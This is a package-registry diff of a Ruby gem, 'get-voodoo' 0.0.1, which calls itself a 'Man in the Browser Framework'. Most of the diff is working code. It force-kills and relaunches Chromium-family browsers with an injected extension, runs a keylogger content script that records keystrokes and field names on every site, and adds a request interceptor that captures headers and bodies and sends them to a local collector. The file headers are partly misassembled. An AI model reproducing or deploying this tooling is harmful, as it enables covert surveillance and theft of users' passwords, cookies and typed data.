get-voodoo 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/bin/voodoo +10 -0
- data/lib/voodoo/browser.rb +112 -0
- data/lib/voodoo/cli.rb +124 -0
- data/lib/voodoo/collector.rb +61 -0
- data/lib/voodoo/extension.rb +75 -0
- data/lib/voodoo/js/collector.js +4 -0
- data/lib/voodoo/js/intercept.js +64 -0
- data/lib/voodoo/js/keylogger.js +75 -0
- data/lib/voodoo.rb +4 -0
- metadata +53 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: b0fcdaba9b3efe46744664468d43523c13515711f8dbfb7d1344d64b69ccd700
|
4
|
+
data.tar.gz: 802809af82cc9ecc90aff242c6033afe5bd4b411e77ebe1c0e531037d737f657
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 3e89fd58e34db747ac7246c1c2ca3338cdfdcb628dc65914dc681e820ba020338db375a37e0fc43ff5b1dfe842caa12a2c4b18c56960cf2a5ddac6a6c07fa201
|
7
|
+
data.tar.gz: f656b8be62959200757b20abfeb1989398100be639a5295dfa7783003672edaea95a58d03282083cba4afd69c5e7a0b31f1ebce6eeaacbe0ef661df521491103
|
data/bin/voodoo
ADDED
@@ -0,0 +1,112 @@
|
|
1
|
+
require 'voodoo/extension'
|
2
|
+
require 'voodoo/collector'
|
3
|
+
|
4
|
+
module VOODOO
|
5
|
+
|
6
|
+
class Browser
|
7
|
+
attr_reader :extension
|
8
|
+
attr_accessor :bundle
|
9
|
+
attr_accessor :profile
|
10
|
+
attr_accessor :process_name
|
11
|
+
|
12
|
+
def initialize(bundle: nil, process_name: nil, profile: nil, extension: Extension.new)
|
13
|
+
@bundle = bundle
|
14
|
+
@extension = extension
|
15
|
+
@process_name = process_name
|
16
|
+
@collector_threads = []
|
17
|
+
|
18
|
+
@extension.manifest[:permissions] = ['tabs', '*://*/*', 'webRequest']
|
19
|
+
@extension.add_background_script(file: File.join(__dir__, 'js/collector.js'))
|
20
|
+
end
|
21
|
+
|
22
|
+
def add_script(content: nil, file: nil, matches: '*://*/*')
|
23
|
+
if content == nil && file != nil
|
24
|
+
content = File.read file
|
25
|
+
end
|
26
|
+
if content == nil
|
27
|
+
raise StandardError.new(':content or :file argument are required')
|
28
|
+
end
|
29
|
+
@extension.add_content_script([matches], js: [content])
|
30
|
+
self
|
31
|
+
end
|
32
|
+
|
33
|
+
def keylogger(matches: '*://*/*', url_include: '')
|
34
|
+
collector = Collector.new
|
35
|
+
collector.on_json {|jsond| yield jsond }
|
36
|
+
|
37
|
+
options = {
|
38
|
+
collector_url: collector.url
|
39
|
+
}
|
40
|
+
|
41
|
+
@collector_threads.push(collector.thread)
|
42
|
+
|
43
|
+
keylogger_js = build_js('keylogger.js', with_options: options)
|
44
|
+
@extension.add_content_script(matches, js: [keylogger_js])
|
45
|
+
end
|
46
|
+
|
47
|
+
def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil)
|
48
|
+
collector = make_collector() {|jsond| yield jsond }
|
49
|
+
options = {
|
50
|
+
matches: matches,
|
51
|
+
url_include: url_include,
|
52
|
+
body_include: body_include,
|
53
|
+
header_exists: header_exists,
|
54
|
+
collector_url: collector.url
|
55
|
+
}
|
56
|
+
background_js = build_js('intercept.js', with_options: options)
|
57
|
+
@extension.add_background_script content: background_js
|
58
|
+
end
|
59
|
+
|
60
|
+
def hijack(url = '')
|
61
|
+
# kill the browser process twise, to bypass close warning
|
62
|
+
`pkill -a -i "#{@process_name}"`
|
63
|
+
`pkill -a -i "#{@process_name}"`
|
64
|
+
sleep 0.1
|
65
|
+
|
66
|
+
profile_dir = "--profile-directory=\"#{@profile}\"" if @profile != nil
|
67
|
+
`open -b "#{@bundle}" --args #{profile_dir} --load-extension="#{@extension.save}" #{url}`
|
68
|
+
|
69
|
+
for thread in @collector_threads
|
70
|
+
thread.join
|
71
|
+
end
|
72
|
+
end
|
73
|
+
|
74
|
+
def Browser.Chrome
|
75
|
+
self.new(bundle: 'com.google.Chrome', process_name: 'Google Chrome')
|
76
|
+
end
|
77
|
+
|
78
|
+
def Browser.Brave
|
79
|
+
self.new(bundle: 'com.brave.Browser', process_name: 'Brave Browser')
|
80
|
+
end
|
81
|
+
|
82
|
+
def Browser.Opera
|
83
|
+
self.new(bundle: 'com.operasoftware.Opera', process_name: 'Opera')
|
84
|
+
end
|
85
|
+
|
86
|
+
def Browser.Edge
|
87
|
+
self.new(bundle: 'com.microsoft.edgemac', process_name: 'Microsoft Edge')
|
88
|
+
end
|
89
|
+
|
90
|
+
def Browser.Chromium
|
91
|
+
self.new(bundle: 'org.chromium.Chromium', process_name: 'Chromium')
|
92
|
+
end
|
93
|
+
|
94
|
+
protected
|
95
|
+
|
96
|
+
def make_collector
|
97
|
+
collector = Collector.new
|
98
|
+
collector.on_json {|jsond| yield jsond }
|
99
|
+
@collector_threads.push(collector.thread)
|
100
|
+
return collector
|
101
|
+
end
|
102
|
+
|
103
|
+
def build_js(file, with_options: nil)
|
104
|
+
js = File.read(File.join(__dir__, 'js', file))
|
105
|
+
if with_options != nil
|
106
|
+
js = js.gsub('REBY_INJECTED_OPTIONS', JSON.generate(with_options))
|
107
|
+
end
|
108
|
+
return js
|
109
|
+
end
|
110
|
+
end
|
111
|
+
|
112
|
+
end
|
data/lib/voodoo/cli.rb
ADDED
@@ -0,0 +1,124 @@
|
|
1
|
+
require 'thor'
|
2
|
+
require 'json'
|
3
|
+
require 'voodoo/browser'
|
4
|
+
|
5
|
+
module VOODOO
|
6
|
+
|
7
|
+
VERSION = 'v0.0.1'
|
8
|
+
|
9
|
+
class CLI < Thor
|
10
|
+
|
11
|
+
desc 'version', 'Prints voodoo version'
|
12
|
+
def version
|
13
|
+
puts VERSION
|
14
|
+
end
|
15
|
+
|
16
|
+
option :url_include, :type => :string, :aliases => :u, :default => nil
|
17
|
+
option :body_include, :type => :string, :aliases => :b, :default => nil
|
18
|
+
option :header_exists, :type => :string, :aliases => :h, :default => nil
|
19
|
+
option :output, :type => :string, :aliases => :o, :default => 'stdout'
|
20
|
+
option :site, :type => :string, :aliases => :s, :default => ''
|
21
|
+
option :matches, :type => :array, :aliases => :m, :default => ['<all_urls>']
|
22
|
+
option :browser, :type => :string, :aliases => :b, :default => 'chrome'
|
23
|
+
desc 'intercept', 'intercept browser requests'
|
24
|
+
def intercept
|
25
|
+
browser = get_browser options[:browser]
|
26
|
+
|
27
|
+
output = options[:output]
|
28
|
+
|
29
|
+
if output != 'stdout'
|
30
|
+
output = open(output, 'a')
|
31
|
+
end
|
32
|
+
|
33
|
+
browser.intercept(matches: options[:matches],
|
34
|
+
url_include: options[:url_include],
|
35
|
+
body_include: options[:body_include]) do |req|
|
36
|
+
if output != 'stdout'
|
37
|
+
output.puts JSON.generate(req)
|
38
|
+
output.close
|
39
|
+
output = open(output, 'a')
|
40
|
+
else
|
41
|
+
puts "#{req[:method]} #{req[:url]}"
|
42
|
+
if req[:body]
|
43
|
+
body = req[:body]
|
44
|
+
if body.length > 100
|
45
|
+
body = body[0...97] + '...'
|
46
|
+
end
|
47
|
+
puts "BODY: #{body}"
|
48
|
+
end
|
49
|
+
end
|
50
|
+
end
|
51
|
+
|
52
|
+
browser.hijack options[:site]
|
53
|
+
end
|
54
|
+
|
55
|
+
option :site, :type => :string, :aliases => :s, :default => ''
|
56
|
+
option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
|
57
|
+
option :browser, :type => :string, :aliases => :b, :default => 'chrome'
|
58
|
+
desc 'script <js/path>', 'add a content script'
|
59
|
+
def script(path_or_js)
|
60
|
+
browser = get_browser options[:browser]
|
61
|
+
if File.exists? path_or_js
|
62
|
+
browser.add_script file: path_or_js
|
63
|
+
else
|
64
|
+
browser.add_script content: path_or_js
|
65
|
+
end
|
66
|
+
browser.hijack options[:site]
|
67
|
+
end
|
68
|
+
|
69
|
+
option :site, :type => :string, :aliases => :s, :default => ''
|
70
|
+
option :output, :type => :string, :aliases => :o, :default => 'stdout'
|
71
|
+
option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
|
72
|
+
option :browser, :type => :string, :aliases => :b, :default => 'chrome'
|
73
|
+
desc 'keylogger', 'records user keystrokes'
|
74
|
+
def keylogger
|
75
|
+
browser = get_browser options[:browser]
|
76
|
+
output = options[:output]
|
77
|
+
|
78
|
+
if output != 'stdout'
|
79
|
+
output = open(output, 'a')
|
80
|
+
end
|
81
|
+
|
82
|
+
browser.keylogger(matches: options[:matches]) do |event|
|
83
|
+
if output != 'stdout'
|
84
|
+
output.puts JSON.generate(event)
|
85
|
+
else
|
86
|
+
print event[:log]
|
87
|
+
end
|
88
|
+
end
|
89
|
+
|
90
|
+
browser.hijack options[:site]
|
91
|
+
end
|
92
|
+
|
93
|
+
def self.exit_on_failure?
|
94
|
+
true
|
95
|
+
end
|
96
|
+
|
97
|
+
private
|
98
|
+
|
99
|
+
def get_browser(name)
|
100
|
+
browser = nil
|
101
|
+
|
102
|
+
case name.downcase
|
103
|
+
when 'chrome'
|
104
|
+
browser = Browser.Chrome
|
105
|
+
when 'chromium'
|
106
|
+
browser = Browser.Chromium
|
107
|
+
when 'opera'
|
108
|
+
browser = Browser.Opera
|
109
|
+
when 'edge'
|
110
|
+
browser = Browser.Edge
|
111
|
+
when 'brave'
|
112
|
+
browser = Browser.Brave
|
113
|
+
end
|
114
|
+
|
115
|
+
if browser == nil
|
116
|
+
raise StandardError.new "Unsupported browser \"#{name}\""
|
117
|
+
end
|
118
|
+
|
119
|
+
return browser
|
120
|
+
end
|
121
|
+
|
122
|
+
end
|
123
|
+
|
124
|
+
end
|
@@ -0,0 +1,61 @@
|
|
1
|
+
require 'json'
|
2
|
+
require 'socket'
|
3
|
+
require 'securerandom'
|
4
|
+
|
5
|
+
module VOODOO
|
6
|
+
|
7
|
+
class Collector
|
8
|
+
attr_reader :port
|
9
|
+
attr_reader :thread
|
10
|
+
attr_reader :token
|
11
|
+
|
12
|
+
def initialize(port = 0)
|
13
|
+
if port == 0
|
14
|
+
tmp_server = TCPServer.open('127.0.0.1', 0)
|
15
|
+
@port = tmp_server.addr[1]
|
16
|
+
tmp_server.close
|
17
|
+
else
|
18
|
+
@port = port
|
19
|
+
end
|
20
|
+
@token = SecureRandom.uuid
|
21
|
+
end
|
22
|
+
|
23
|
+
def url
|
24
|
+
return "http://localhost:#{@port}/?token=#{@token}"
|
25
|
+
end
|
26
|
+
|
27
|
+
def on_json
|
28
|
+
@thread = Thread.new do
|
29
|
+
server = TCPServer.new('127.0.0.1', @port)
|
30
|
+
|
31
|
+
loop {
|
32
|
+
begin
|
33
|
+
socket = server.accept
|
34
|
+
headers = {}
|
35
|
+
method, path = socket.gets.split
|
36
|
+
|
37
|
+
unless path.include? @token
|
38
|
+
socket.puts("HTTP/1.1 400 OK\r\n\r\n")
|
39
|
+
socket.close
|
40
|
+
next
|
41
|
+
end
|
42
|
+
|
43
|
+
while line = socket.gets.split(" ", 2)
|
44
|
+
break if line[0] == ""
|
45
|
+
headers[line[0].chop] = line[1].strip
|
46
|
+
end
|
47
|
+
|
48
|
+
post_body = socket.read(headers["Content-Length"].to_i)
|
49
|
+
socket.puts("HTTP/1.1 204 OK\r\n\r\n")
|
50
|
+
socket.close
|
51
|
+
|
52
|
+
jsonData = JSON.parse(post_body, {:symbolize_names => true})
|
53
|
+
yield jsonData
|
54
|
+
rescue
|
55
|
+
end
|
56
|
+
}
|
57
|
+
end
|
58
|
+
end
|
59
|
+
end
|
60
|
+
|
61
|
+
end
|
@@ -0,0 +1,75 @@
|
|
1
|
+
require 'set'
|
2
|
+
require 'json'
|
3
|
+
require 'tmpdir'
|
4
|
+
require 'fileutils'
|
5
|
+
|
6
|
+
module VOODOO
|
7
|
+
|
8
|
+
class Extension
|
9
|
+
attr_accessor :manifest
|
10
|
+
attr_reader :folder
|
11
|
+
|
12
|
+
def initialize
|
13
|
+
@id = 0
|
14
|
+
@folder = Dir.mktmpdir
|
15
|
+
@manifest = {
|
16
|
+
name: '~',
|
17
|
+
author: '~',
|
18
|
+
description: '',
|
19
|
+
version: '0.0.1',
|
20
|
+
manifest_version: 2,
|
21
|
+
background: {
|
22
|
+
scripts: []
|
23
|
+
},
|
24
|
+
permissions: [],
|
25
|
+
content_scripts: []
|
26
|
+
}
|
27
|
+
end
|
28
|
+
|
29
|
+
def add_background_script(content: nil, file: nil)
|
30
|
+
if content == nil && file != nil
|
31
|
+
content = File.read file
|
32
|
+
end
|
33
|
+
if content == nil
|
34
|
+
raise StandardError.new(':content or :file argument are required')
|
35
|
+
end
|
36
|
+
path = add_file(content, with_extension: '.js')
|
37
|
+
@manifest[:background][:scripts] << path
|
38
|
+
end
|
39
|
+
|
40
|
+
def add_content_script(matches, js: [], css: [])
|
41
|
+
matches = [matches] unless matches.is_a? Array
|
42
|
+
|
43
|
+
js = js.map { |str| add_file(str) }
|
44
|
+
css = css.map { |str| add_file(str, with_extension: '.css') }
|
45
|
+
|
46
|
+
@manifest[:content_scripts] << {
|
47
|
+
js: js,
|
48
|
+
css: css,
|
49
|
+
matches: matches
|
50
|
+
}
|
51
|
+
end
|
52
|
+
|
53
|
+
def save
|
54
|
+
manifest_path = File.join(@folder, 'manifest.json')
|
55
|
+
File.write(manifest_path, JSON.generate(@manifest))
|
56
|
+
return @folder
|
57
|
+
end
|
58
|
+
|
59
|
+
def unlink
|
60
|
+
FileUtils.rm_r(@folder, :force=>true)
|
61
|
+
end
|
62
|
+
|
63
|
+
private
|
64
|
+
|
65
|
+
def add_file(content, with_extension: '.js')
|
66
|
+
@id += 1
|
67
|
+
filename = @id.to_s + with_extension
|
68
|
+
file_path = File.join(@folder, filename)
|
69
|
+
File.write file_path, content
|
70
|
+
return filename
|
71
|
+
end
|
72
|
+
|
73
|
+
end
|
74
|
+
|
75
|
+
end
|
@@ -0,0 +1,64 @@
|
|
1
|
+
/**
|
2
|
+
* VOODOO Intercept
|
3
|
+
*/
|
4
|
+
(function () {
|
5
|
+
let options = REBY_INJECTED_OPTIONS;
|
6
|
+
let matches = options.matches || ["<all_urls>"];
|
7
|
+
|
8
|
+
if (!Array.isArray(matches)) {
|
9
|
+
matches = [matches];
|
10
|
+
}
|
11
|
+
|
12
|
+
if (!options.collector_url) {
|
13
|
+
return;
|
14
|
+
}
|
15
|
+
|
16
|
+
const requests = new Map();
|
17
|
+
|
18
|
+
chrome.webRequest.onBeforeSendHeaders.addListener(function (e) {
|
19
|
+
const request = requests.get(e.requestId);
|
20
|
+
if (!request) {
|
21
|
+
return;
|
22
|
+
}
|
23
|
+
requests.delete(e.requestId);
|
24
|
+
request.headers = e.requestHeaders;
|
25
|
+
|
26
|
+
if (options.header_exists) {
|
27
|
+
let found = false;
|
28
|
+
for (let header of request.headers) {
|
29
|
+
if (header.name.toLowerCase() === options.header_exists) {
|
30
|
+
found = true;
|
31
|
+
break;
|
32
|
+
}
|
33
|
+
}
|
34
|
+
if (!found) {
|
35
|
+
return;
|
36
|
+
}
|
37
|
+
}
|
38
|
+
|
39
|
+
navigator.sendBeacon(options.collector_url, JSON.stringify(request))
|
40
|
+
}, { urls: matches }, ['requestHeaders', 'extraHeaders'])
|
41
|
+
|
42
|
+
chrome.webRequest.onBeforeRequest.addListener(
|
43
|
+
function (request) {
|
44
|
+
if (request.url.startsWith(options.collector_url)) {
|
45
|
+
return { cancel: false };
|
46
|
+
}
|
47
|
+
|
48
|
+
if (options.url_include && request.url.indexOf(options.url_include) === -1) {
|
49
|
+
return;
|
50
|
+
}
|
51
|
+
|
52
|
+
try {
|
53
|
+
request.body = request.requestBody.raw.map(data => String.fromCharCode.apply(null, new Uint8Array(data.bytes))).join('')
|
54
|
+
delete request.requestBody;
|
55
|
+
} catch { }
|
56
|
+
|
57
|
+
requests.set(request.requestId, request);
|
58
|
+
return { cancel: false };
|
59
|
+
},
|
60
|
+
{ urls: matches },
|
61
|
+
['requestBody']
|
62
|
+
);
|
63
|
+
|
64
|
+
})();
|
@@ -0,0 +1,75 @@
|
|
1
|
+
/**
|
2
|
+
* VOODOO Keylogger
|
3
|
+
*/
|
4
|
+
(function () {
|
5
|
+
sessionStorage.setItem("uuid", Math.random().toString(16).substring(2));
|
6
|
+
const options = REBY_INJECTED_OPTIONS;
|
7
|
+
|
8
|
+
if (!options.collector_url) {
|
9
|
+
return;
|
10
|
+
}
|
11
|
+
|
12
|
+
let output = "";
|
13
|
+
let lastElement = null;
|
14
|
+
|
15
|
+
function describe(element) {
|
16
|
+
const names = {
|
17
|
+
type: element.getAttribute("type"),
|
18
|
+
name: element.getAttribute("name"),
|
19
|
+
id: element.getAttribute("id")
|
20
|
+
};
|
21
|
+
let id = element.tagName + ":";
|
22
|
+
for (let key in names) {
|
23
|
+
if (names[key]) {
|
24
|
+
id += `${key}=${names[key]} `
|
25
|
+
}
|
26
|
+
}
|
27
|
+
return id;
|
28
|
+
}
|
29
|
+
|
30
|
+
function send_to_collector() {
|
31
|
+
chrome.runtime.sendMessage({
|
32
|
+
collector_url: options.collector_url,
|
33
|
+
body: JSON.stringify({ time: new Date().getTime(), origin: window.location.origin, uuid: sessionStorage.uuid, log: output })
|
34
|
+
}, function (response) {
|
35
|
+
//console.log(response);
|
36
|
+
});
|
37
|
+
output = "";
|
38
|
+
}
|
39
|
+
|
40
|
+
setInterval(function () {
|
41
|
+
if (output.length !== 0) {
|
42
|
+
send_to_collector();
|
43
|
+
}
|
44
|
+
}, 5000);
|
45
|
+
|
46
|
+
window.addEventListener("beforeunload", function (e) {
|
47
|
+
if (output.length === 0) {
|
48
|
+
return;
|
49
|
+
}
|
50
|
+
send_to_collector();
|
51
|
+
}, false);
|
52
|
+
|
53
|
+
window.addEventListener("blur", function () {
|
54
|
+
output += "\n[TAB LOST FOCUS]\n";
|
55
|
+
});
|
56
|
+
|
57
|
+
window.addEventListener("focus", function () {
|
58
|
+
output += `\n====== [FOCUS] ${window.location.href} (${document.title}) ======\n`;
|
59
|
+
});
|
60
|
+
|
61
|
+
window.addEventListener("keydown", function (event) {
|
62
|
+
if (lastElement !== event.path[0]) {
|
63
|
+
lastElement = event.path[0];
|
64
|
+
output += `\n==> ${describe(event.path[0])}\n`
|
65
|
+
}
|
66
|
+
if (event.key.length > 1) {
|
67
|
+
output += `[[${event.key}]]`;
|
68
|
+
} else {
|
69
|
+
output += event.key;
|
70
|
+
}
|
71
|
+
});
|
72
|
+
|
73
|
+
output = `\n====== ${window.location.href} (${document.title}) ======\n`;
|
74
|
+
send_to_collector();
|
75
|
+
})();
|
data/lib/voodoo.rb
ADDED
metadata
ADDED
@@ -0,0 +1,53 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: get-voodoo
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.0.1
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Ron Masas
|
8
|
+
autorequire:
|
9
|
+
bindir: bin
|
10
|
+
cert_chain: []
|
11
|
+
date: 2022-03-10 00:00:00.000000000 Z
|
12
|
+
dependencies: []
|
13
|
+
description: Man in the Browser Framework
|
14
|
+
email:
|
15
|
+
executables:
|
16
|
+
- voodoo
|
17
|
+
extensions: []
|
18
|
+
extra_rdoc_files: []
|
19
|
+
files:
|
20
|
+
- bin/voodoo
|
21
|
+
- lib/voodoo.rb
|
22
|
+
- lib/voodoo/browser.rb
|
23
|
+
- lib/voodoo/cli.rb
|
24
|
+
- lib/voodoo/collector.rb
|
25
|
+
- lib/voodoo/extension.rb
|
26
|
+
- lib/voodoo/js/collector.js
|
27
|
+
- lib/voodoo/js/intercept.js
|
28
|
+
- lib/voodoo/js/keylogger.js
|
29
|
+
homepage: https://breakpoint.sh/?f=org.rubygems.voodoo
|
30
|
+
licenses:
|
31
|
+
- GPL-2.0
|
32
|
+
metadata:
|
33
|
+
source_code_uri: https://github.com/breakpointHQ/VOODOO
|
34
|
+
post_install_message:
|
35
|
+
rdoc_options: []
|
36
|
+
require_paths:
|
37
|
+
- lib
|
38
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
39
|
+
requirements:
|
40
|
+
- - ">="
|
41
|
+
- !ruby/object:Gem::Version
|
42
|
+
version: '0'
|
43
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
44
|
+
requirements:
|
45
|
+
- - ">="
|
46
|
+
- !ruby/object:Gem::Version
|
47
|
+
version: '0'
|
48
|
+
requirements: []
|
49
|
+
rubygems_version: 3.0.3.1
|
50
|
+
signing_key:
|
51
|
+
specification_version: 4
|
52
|
+
summary: Man in the Browser Framework
|
53
|
+
test_files: []
|